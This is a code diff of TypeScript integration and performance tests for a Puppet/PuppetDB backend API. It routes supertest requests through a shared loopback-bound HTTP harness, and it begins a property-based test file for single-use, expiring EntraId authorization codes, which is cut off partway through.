.get('/api/integrations/puppetdb/nodes/test-node/events?status=failure') .expect(503); @@ -67,7 +82,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should accept resourceType filter query parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?resourceType=File') .expect(503); @@ -75,7 +90,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should accept time range filter query parameters', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?startTime=2024-01-01T00:00:00Z&endTime=2024-12-31T23:59:59Z') .expect(503); @@ -83,7 +98,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should accept multiple filter parameters', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?status=failure&resourceType=File&limit=25') .expect(503); @@ -115,7 +130,7 @@ describe('PuppetDB Events API Integration', () => { describe('Events error handling', () => { it('should handle invalid certname parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes//events') .expect(404); // Express returns 404 for empty param @@ -123,7 +138,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should handle invalid status filter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?status=invalid') .expect(503); // Still 503 because not configured @@ -132,7 +147,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should handle invalid limit parameter', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events?limit=invalid') .expect(503); // Still 503 because not configured @@ -143,7 +158,7 @@ describe('PuppetDB Events API Integration', () => { describe('Expert mode', () => { it('should include debug info when expert mode is enabled', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events') .set('X-Expert-Mode', 'true') .expect(503); @@ -165,7 +180,7 @@ describe('PuppetDB Events API Integration', () => { }); it('should not include debug info when expert mode is disabled', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/integrations/puppetdb/nodes/test-node/events') .expect(503); diff --git a/backend/test/integration/puppetdb-facts-expert-mode.test.ts b/backend/test/integration/puppetdb-facts-expert-mode.test.ts index dd79392b..8ce8577a 100644 --- a/backend/test/integration/puppetdb-facts-expert-mode.test.ts +++ b/backend/test/integration/puppetdb-facts-expert-mode.test.ts @@ -1,11 +1,26 @@ -import { describe, it, expect, beforeAll } from "vitest"; +import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; import type { Facts } from "../../src/integrations/types"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Facts Route - Expert Mode", () => { let app: Express; let mockPuppetDBService: PuppetDBService; @@ -45,7 +60,7 @@ describe("PuppetDB Facts Route - Expert Mode", () => { describe("GET /api/integrations/puppetdb/nodes/:certname/facts", () => { it("should return facts when node exists", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/facts") .expect(200); @@ -56,7 +71,7 @@ describe("PuppetDB Facts Route - Expert Mode", () => { }); it("should include debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/facts") .set("X-Expert-Mode", "true") .expect(200); @@ -72,7 +87,7 @@ describe("PuppetDB Facts Route - Expert Mode", () => { }); it("should not include debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/facts") .expect(200); @@ -82,7 +97,7 @@ describe("PuppetDB Facts Route - Expert Mode", () => { }); it("should attach debug info to error responses when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node/facts") .set("X-Expert-Mode", "true") .expect(404); @@ -96,7 +111,7 @@ describe("PuppetDB Facts Route - Expert Mode", () => { }); it("should capture error details in debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node/facts") .set("X-Expert-Mode", "true") .expect(404); diff --git a/backend/test/integration/puppetdb-node-detail.test.ts b/backend/test/integration/puppetdb-node-detail.test.ts index 0a232c03..5797be2f 100644 --- a/backend/test/integration/puppetdb-node-detail.test.ts +++ b/backend/test/integration/puppetdb-node-detail.test.ts @@ -1,10 +1,25 @@ import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Node Detail Route", () => { let app: Express; let mockPuppetDBService: PuppetDBService; @@ -59,7 +74,7 @@ describe("PuppetDB Node Detail Route", () => { describe("GET /api/integrations/puppetdb/nodes/:certname", () => { it("should return node details when node exists", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1") .expect(200); @@ -70,7 +85,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should return 404 when node does not exist", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node") .expect(404); @@ -80,7 +95,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should include debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1") .set("X-Expert-Mode", "true") .expect(200); @@ -96,7 +111,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should not include debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1") .expect(200); @@ -106,7 +121,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should attach debug info to error responses when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/non-existent-node") .set("X-Expert-Mode", "true") .expect(404); @@ -122,7 +137,7 @@ describe("PuppetDB Node Detail Route", () => { describe("GET /api/integrations/puppetdb/nodes/:certname/reports/:hash", () => { it("should return report details when report exists", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1") .expect(200); @@ -134,7 +149,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should return 404 when report does not exist", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/cccccccccccccccccccccccccccccccccccccccc") .expect(404); @@ -144,7 +159,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should return 404 when report belongs to different node", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb2") .expect(404); @@ -155,7 +170,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should include debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1") .set("X-Expert-Mode", "true") .expect(200); @@ -174,7 +189,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should not include debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1") .expect(200); @@ -184,7 +199,7 @@ describe("PuppetDB Node Detail Route", () => { }); it("should attach debug info to error responses when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node-1/reports/cccccccccccccccccccccccccccccccccccccccc") .set("X-Expert-Mode", "true") .expect(404); diff --git a/backend/test/integration/puppetdb-reports-filtering.test.ts b/backend/test/integration/puppetdb-reports-filtering.test.ts index 5469e330..d99f7a5e 100644 --- a/backend/test/integration/puppetdb-reports-filtering.test.ts +++ b/backend/test/integration/puppetdb-reports-filtering.test.ts @@ -1,11 +1,26 @@ -import { describe, it, expect, beforeAll } from "vitest"; +import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; import type { Report } from "../../src/integrations/puppetdb/types"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Reports Filtering", () => { let app: Express; let mockPuppetDBService: PuppetDBService; @@ -75,7 +90,7 @@ describe("PuppetDB Reports Filtering", () => { describe("GET /api/integrations/puppetdb/reports", () => { it("should return all reports when no filters are applied", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports") .expect(200); @@ -88,7 +103,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should filter reports by single status", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=failed") .expect(200); @@ -100,7 +115,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should filter reports by multiple statuses", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=success,failed") .expect(200); @@ -115,7 +130,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should filter reports by minimum duration", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?minDuration=400") .expect(200); @@ -130,7 +145,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should filter reports by minimum compile time", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?minCompileTime=25") .expect(200); @@ -145,7 +160,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should filter reports by minimum total resources", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?minTotalResources=100") .expect(200); @@ -159,7 +174,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should apply multiple filters with AND logic", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=failed,unchanged&minDuration=400") .expect(200); @@ -174,7 +189,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should return empty array when no reports match filters", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=failed&minDuration=1000") .expect(200); @@ -185,7 +200,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should return 400 for invalid status values", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=invalid-status") .expect(400); @@ -195,7 +210,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should return 400 for negative duration", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?minDuration=-100") .expect(400); @@ -205,7 +220,7 @@ describe("PuppetDB Reports Filtering", () => { }); it("should include filter metadata in debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/reports?status=failed&minDuration=400") .set("X-Expert-Mode", "true") .expect(200); diff --git a/backend/test/integration/puppetdb-resources-expert-mode.test.ts b/backend/test/integration/puppetdb-resources-expert-mode.test.ts index 25e970f5..4b8b5e20 100644 --- a/backend/test/integration/puppetdb-resources-expert-mode.test.ts +++ b/backend/test/integration/puppetdb-resources-expert-mode.test.ts @@ -1,10 +1,25 @@ import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createPuppetDBRouter } from "../../src/routes/integrations/puppetdb"; import { PuppetDBService } from "../../src/integrations/puppetdb/PuppetDBService"; import { expertModeMiddleware } from "../../src/middleware/expertMode"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("PuppetDB Resources Endpoint - Expert Mode", () => { let app: Express; let mockPuppetDBService: PuppetDBService; @@ -62,7 +77,7 @@ describe("PuppetDB Resources Endpoint - Expert Mode", () => { }); it("should return resources without debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node/resources") .expect(200); @@ -75,7 +90,7 @@ describe("PuppetDB Resources Endpoint - Expert Mode", () => { }); it("should return resources with debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/test-node/resources") .set("X-Expert-Mode", "true") .expect(200); @@ -108,7 +123,7 @@ describe("PuppetDB Resources Endpoint - Expert Mode", () => { }); it("should include error details in debug info when expert mode is enabled and error occurs", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/nonexistent-node/resources") .set("X-Expert-Mode", "true") .expect(500); @@ -135,7 +150,7 @@ describe("PuppetDB Resources Endpoint - Expert Mode", () => { }); it("should not include debug info in error response when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetdb/nodes/nonexistent-node/resources") .expect(500); diff --git a/backend/test/integration/puppetserver-catalogs-environments.test.ts b/backend/test/integration/puppetserver-catalogs-environments.test.ts index 790d3812..b95313c2 100644 --- a/backend/test/integration/puppetserver-catalogs-environments.test.ts +++ b/backend/test/integration/puppetserver-catalogs-environments.test.ts @@ -11,6 +11,7 @@ import { describe, it, expect, beforeAll, afterAll } from "vitest"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import express, { type Express } from "express"; import { createIntegrationsRouter } from "../../src/routes/integrations"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; @@ -18,6 +19,20 @@ import { LoggerService } from "../../src/services/LoggerService"; import { PuppetserverService } from "../../src/integrations/puppetserver/PuppetserverService"; import type { PuppetserverConfig } from "../../src/config/schema"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Puppetserver Catalog and Environment Endpoints", () => { let app: Express; let integrationManager: IntegrationManager; @@ -144,7 +159,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { describe("GET /api/integrations/puppetserver/catalog/:certname/:environment", () => { it("should compile catalog for a node in a specific environment", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/catalog/test-node/production") .expect(200); @@ -157,7 +172,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for invalid certname", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/catalog//production") .expect(404); @@ -166,7 +181,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for invalid environment", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/catalog/test-node/") .expect(404); @@ -177,7 +192,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { describe("POST /api/integrations/puppetserver/catalog/compare", () => { it("should compare catalogs between two environments", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/catalog/compare") .send({ certname: "test-node", @@ -197,7 +212,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for missing certname", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/catalog/compare") .send({ environment1: "production", @@ -210,7 +225,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for missing environment1", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/catalog/compare") .send({ certname: "test-node", @@ -223,7 +238,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for missing environment2", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/catalog/compare") .send({ certname: "test-node", @@ -238,7 +253,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { describe("GET /api/integrations/puppetserver/environments", () => { it("should list all available environments", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/environments") .expect(200); @@ -253,7 +268,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { describe("GET /api/integrations/puppetserver/environments/:name", () => { it("should get details for a specific environment", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/environments/production") .expect(200); @@ -273,7 +288,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { return originalGetEnvironment.call(puppetserverService, name); }; - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/environments/nonexistent") .expect(404); @@ -290,7 +305,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { describe("POST /api/integrations/puppetserver/environments/:name/deploy", () => { it("should deploy an environment", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/environments/production/deploy") .expect(200); @@ -302,7 +317,7 @@ describe("Puppetserver Catalog and Environment Endpoints", () => { }); it("should return 400 for invalid environment name", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/puppetserver/environments//deploy") .expect(404); diff --git a/backend/test/integration/puppetserver-nodes.test.ts b/backend/test/integration/puppetserver-nodes.test.ts index ab5c8bf4..7836d415 100644 --- a/backend/test/integration/puppetserver-nodes.test.ts +++ b/backend/test/integration/puppetserver-nodes.test.ts @@ -2,9 +2,10 @@ * Integration tests for Puppetserver node API endpoints */ -import { describe, it, expect, beforeEach } from "vitest"; +import { describe, it, expect, beforeEach, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; import { LoggerService } from "../../src/services/LoggerService"; import { PuppetserverService } from "../../src/integrations/puppetserver/PuppetserverService"; @@ -244,6 +245,20 @@ class MockPuppetserverService extends PuppetserverService { } } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Puppetserver Node API", () => { let app: Express; let integrationManager: IntegrationManager; @@ -284,7 +299,7 @@ describe("Puppetserver Node API", () => { describe("GET /api/integrations/puppetserver/nodes", () => { it("should return all nodes from Puppetserver CA", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes") .expect(200); @@ -301,7 +316,7 @@ describe("Puppetserver Node API", () => { describe("GET /api/integrations/puppetserver/nodes/:certname", () => { it("should return specific node details", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com") .expect(200); @@ -313,7 +328,7 @@ describe("Puppetserver Node API", () => { }); it("should return 404 for non-existent node", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/nonexistent.example.com") .expect(404); @@ -323,7 +338,7 @@ describe("Puppetserver Node API", () => { it("should return all nodes when path ends with slash", async () => { // When path ends with /, Express routes to /nodes instead of /nodes/:certname - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/") .expect(200); @@ -334,7 +349,7 @@ describe("Puppetserver Node API", () => { describe("GET /api/integrations/puppetserver/nodes/:certname/status", () => { it("should return node status with activity categorization", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com/status") .expect(200); @@ -354,7 +369,7 @@ describe("Puppetserver Node API", () => { }); it("should return 404 for non-existent node status", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/nonexistent.example.com/status") .expect(404); @@ -362,7 +377,7 @@ describe("Puppetserver Node API", () => { }); it("should include activity metadata", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com/status") .expect(200); @@ -375,7 +390,7 @@ describe("Puppetserver Node API", () => { describe("GET /api/integrations/puppetserver/nodes/:certname/facts", () => { it("should return node facts with categorization", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com/facts") .expect(200); @@ -392,7 +407,7 @@ describe("Puppetserver Node API", () => { }); it("should return facts with proper categorization", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com/facts") .expect(200); @@ -405,7 +420,7 @@ describe("Puppetserver Node API", () => { it("should return empty facts structure for non-existent node (graceful handling)", async () => { // Requirement 4.4, 4.5: Handle missing facts gracefully - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/nonexistent.example.com/facts") .expect(200); @@ -418,7 +433,7 @@ describe("Puppetserver Node API", () => { }); it("should include timestamp for freshness comparison", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/puppetserver/nodes/node1.example.com/facts") .expect(200); @@ -443,7 +458,7 @@ describe("Puppetserver Node API", () => { createIntegrationsRouter(testManager, undefined, undefined), ); - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/api/integrations/puppetserver/nodes") .expect(503); @@ -463,7 +478,7 @@ describe("Puppetserver Node API", () => { createIntegrationsRouter(testManager, undefined, undefined), ); - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/api/integrations/puppetserver/nodes/node1.example.com/status") .expect(503); @@ -483,7 +498,7 @@ describe("Puppetserver Node API", () => { createIntegrationsRouter(testManager, undefined, undefined), ); - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/api/integrations/puppetserver/nodes/node1.example.com/facts") .expect(503); diff --git a/backend/test/integration/re-execution.test.ts b/backend/test/integration/re-execution.test.ts index c63624aa..fc73e366 100644 --- a/backend/test/integration/re-execution.test.ts +++ b/backend/test/integration/re-execution.test.ts @@ -1,13 +1,7 @@ -import { - describe, - it, - expect, - beforeEach, - afterEach, - vi, -} from "vitest"; +import { describe, it, expect, beforeEach, afterEach, vi, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { ExecutionRepository } from "../../src/database/ExecutionRepository"; import { createExecutionsRouter } from "../../src/routes/executions"; import { errorHandler, requestIdMiddleware } from "../../src/middleware/errorHandler"; @@ -51,6 +45,20 @@ const mockDb = { }), }; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Re-execution API Endpoints", () => { let app: Express; let executionRepository: ExecutionRepository; @@ -95,7 +103,7 @@ describe("Re-execution API Endpoints", () => { originalExecution, ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/re-exec-456/original") .expect(200); @@ -114,7 +122,7 @@ describe("Re-execution API Endpoints", () => { // Mock findById to return null (execution doesn't exist) vi.spyOn(executionRepository, "findById").mockResolvedValue(null); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/nonexistent/original") .expect(404); @@ -139,7 +147,7 @@ describe("Re-execution API Endpoints", () => { // Mock findById to return the execution (it exists) vi.spyOn(executionRepository, "findById").mockResolvedValue(execution); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/exec-123/original") .expect(404); @@ -190,7 +198,7 @@ describe("Re-execution API Endpoints", () => { reExecutions, ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/original-123/re-executions") .expect(200); @@ -219,7 +227,7 @@ describe("Re-execution API Endpoints", () => { // Mock findReExecutions to return empty array vi.spyOn(executionRepository, "findReExecutions").mockResolvedValue([]); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/exec-123/re-executions") .expect(200); @@ -232,7 +240,7 @@ describe("Re-execution API Endpoints", () => { // Mock findById to return null vi.spyOn(executionRepository, "findById").mockResolvedValue(null); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/nonexistent/re-executions") .expect(404); @@ -277,7 +285,7 @@ describe("Re-execution API Endpoints", () => { "re-exec-456", ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/original-123/re-execute") .send({}) .expect(201); @@ -329,7 +337,7 @@ describe("Re-execution API Endpoints", () => { "re-exec-456", ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/original-123/re-execute") .send({ targetNodes: ["node1", "node2"], @@ -349,7 +357,7 @@ describe("Re-execution API Endpoints", () => { // Mock findById to return null vi.spyOn(executionRepository, "findById").mockResolvedValue(null); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/nonexistent/re-execute") .send({}) .expect(404); diff --git a/backend/test/performance/api-performance.test.ts b/backend/test/performance/api-performance.test.ts index e0f51c74..8add5582 100644 --- a/backend/test/performance/api-performance.test.ts +++ b/backend/test/performance/api-performance.test.ts @@ -9,6 +9,7 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import express, { type Express } from 'express'; import { createIntegrationsRouter } from '../../src/routes/integrations'; import { IntegrationManager } from '../../src/integrations/IntegrationManager'; @@ -35,7 +36,7 @@ async function measureApiTime( body?: any ): Promise<{ response: request.Response; duration: number }> { const start = Date.now(); - let req = request(app)[method](path); + let req = request(harness.use(app))[method](path); if (body) { req = req.send(body); @@ -47,6 +48,20 @@ async function measureApiTime( return { response, duration }; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('API Performance Tests', () => { let app: Express; let integrationManager: IntegrationManager; @@ -89,7 +104,7 @@ describe('API Performance Tests', () => { const start = Date.now(); const promises = Array.from({ length: 10 }, () => - request(app).get('/api/integrations/inventory') + request(harness.use(app)).get('/api/integrations/inventory') ); await Promise.all(promises); @@ -117,7 +132,7 @@ describe('API Performance Tests', () => { const start = Date.now(); const promises = Array.from({ length: 5 }, (_, i) => - request(app).get(`/api/integrations/puppetdb/nodes/test-node-${i}`) + request(harness.use(app)).get(`/api/integrations/puppetdb/nodes/test-node-${i}`) ); await Promise.all(promises); diff --git a/backend/test/properties/EntraIdAuthCode.property.test.ts b/backend/test/properties/EntraIdAuthCode.property.test.ts new file mode 100644 index 00000000..e512e715 --- /dev/null +++ b/backend/test/properties/EntraIdAuthCode.property.test.ts @@ -0,0 +1,377 @@ +/** + * Property-Based Tests for EntraIdService — Authorization Code Single-Use and TTL (Property 16) + * + * **Validates: Requirements 6.2, 6.3, 6.4** + * + * Tests the correctness property from the design document: + * - Property 16: Authorization code single-use and TTL + * + * For any successfully generated auth code, the code SHALL have expires_at ≤ 60 + * seconds from creation. After a successful exchange, any subsequent exchange + * attempt with the same code SHALL be rejected. After the code expires, exchange + * SHALL also be rejected. + */ + +// Feature: azure-entra-id-auth, Property 16: Authorization code single-use and TTL + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import * as fc from 'fast-check'; +import { randomUUID } from 'crypto'; + +import { SQLiteAdapter } from '../../src/database/SQLiteAdapter'; +import type { DatabaseAdapter } from '../../src/database/DatabaseAdapter'; +import { initializeTestSchema } from '../helpers/schema'; +import { + EntraIdService, + EntraIdError, + 